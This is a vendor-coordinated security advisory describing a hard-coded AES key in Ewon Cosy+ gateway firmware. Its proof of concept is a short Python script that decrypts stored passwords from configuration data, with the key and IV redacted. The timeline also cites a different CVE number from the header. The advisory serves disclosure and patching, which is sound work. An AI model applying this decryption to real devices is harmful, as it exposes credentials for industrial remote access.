Use of Hard-coded Cryptographic Key (CWE-321) CVE-2024-33895

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Advisory ID:               SYSS-2024-032
Product:                   Ewon Cosy+
Manufacturer:              HMS Industrial Networks AB
Affected Version(s):       Firmware Versions: < 21.2s10 and < 22.1s3
Tested Version(s):         Firmware Version: 21.2s7
Vulnerability Type:        Use of Hard-coded Cryptographic Key (CWE-321)
Risk Level:                Medium
Solution Status:           Fixed
Manufacturer Notification: 2024-04-10
Solution Date:             2024-07-18
Public Disclosure:         2024-08-11
CVE Reference:             CVE-2024-33895
Author of Advisory:        Moritz Abrell, SySS GmbH

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Overview:

The Ewon Cosy+ is a VPN gateway used for remote access and maintenance
in industrial environments.

The manufacturer describes the product as follows (see [1]):

"The Ewon Cosy+ gateway establishes a secure VPN connection between
the machine (PLC, HMI, or other devices) and the remote engineer.
The connection happens through Talk2m, a highly secured industrial
cloud service. The Ewon Cosy+ makes industrial remote access easy
and secure like never before!"

Due to the use of a hardcoded cryptographic key, an attacker is able to
decrypt encrypted data and retrieve sensitive information.

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Vulnerability Details:

The Ewon Cosy+ stores sensitive data such as passwords in an encrypted
format.
These values are included, e.g., in configuration backups.

However, a symmetric encryption algorithm (AES-CBC-256) with hardcoded
and static cryptographic keys is used.
Thus, an attacker is able to decrypt that data and retrieve sensitive
information.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

By analyzing the ELF executable "ewon" of an Ewon Cosy+ in a disassembler
and decompiler, e.g. Ghidra, the encryption mechanism could be reversed
and the hardcoded cryptographic key could be extracted.

Used encryption algorithm: AES in CBC mode with a key length of 256 bit

A simple Python script was developed to decrypt encrypted values:

********************
import base64
import sys
from Crypto.Cipher import AES
from binascii import unhexlify


def pad(text):
    padding_length = AES.block_size - (len(text) % AES.block_size)
    padded_text = text + bytes([padding_length] * padding_length)
    return padded_text, padding_length


encoded_text = sys.argv[1]

key_hex = "6367b0 [...]" # redacted
iv_hex = "28c9 [...]" # redacted

key = unhexlify(key_hex)
iv = unhexlify(iv_hex)

decoded_text = base64.b64decode(encoded_text[4:])
padded_text, padding_length = pad(decoded_text)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_text = cipher.decrypt(padded_text)

print("Plaintext: {}".format(
    decrypted_text[1:][:-padding_length-2].decode('utf-8')
    ))
****************

$> python3 decrypt_ewon_pwd.py "#_5_YARU3GSgNcElltjyMMqWfZwb"
Plaintext: adm:123

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

According to the manufacturer note[4], the vulnerability was fixed
with the firmware versions 21.2s10 and 22.1s3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-04-04: Vulnerability discovered
2024-04-10: Vulnerability reported to manufacturer
2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for
            a publication date for all findings
2024-04-12: Proposed dates for a discussion about publication
2024-04-19: Manufacturer sent a technical overview of planned remediation
            actions and details about the planned timeline
2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer
2024-05-31: Manufacturer informed that the fix is in completion stage and
            asked if the blog post[6] can be reviewed by HMS
2024-06-04: Proposed dates to review the blog post draft
2024-06-21: Inquiry about the status
2024-06-21: Received an out-of-office auto reply
2024-07-01: Inquiry about the status
2024-07-04: Inquiry about the status
2024-07-12: Inquiry about the status and letting the manufacturer know that
            the vulnerability will be published within a talk at DEF CON[7]
            in August
2024-07-12: Manufacturer responded that the fix is planned by the end of
            July; manufacturer asked again for reviewing the blog post
            draft
2024-07-12: Again confirmed reviewing the blog post is possible and asking
            for the sending of details
2024-07-17: Blog post provided to HMS
2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS
2024-07-23: Inquiry about the status
2024-07-23: Manufacturer reviewed the blog post and confirmed that a
            fix is provided
2024-07-29: Discussion with HMS about the blog post and final publication
            actions
2024-08-11: Vulnerability disclosed at DEF CON[7]
2024-08-11: Blog post published[6]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Ewon Cosy+ product website
    https://www.hms-networks.com/p/ec71330-00ma-ewon-cosy-ethernet
[2] SySS Security Advisory SYSS-2024-032
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-032.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy
[4] Manufacturer note
    
https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001--ewon-several-cosy--vulnerabilities.pdf
[5] CVE-2024-33895
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33895
[6] Blog post
    https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/
[7] DEF CON talk
    https://defcon.org/html/defcon-32/dc-32-speakers.html#54521

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail:moritz.abrell () syss de
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9  87E6 AE0C 9BF8 F134 8B53

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL:http://creativecommons.org/licenses/by/3.0/deed.en
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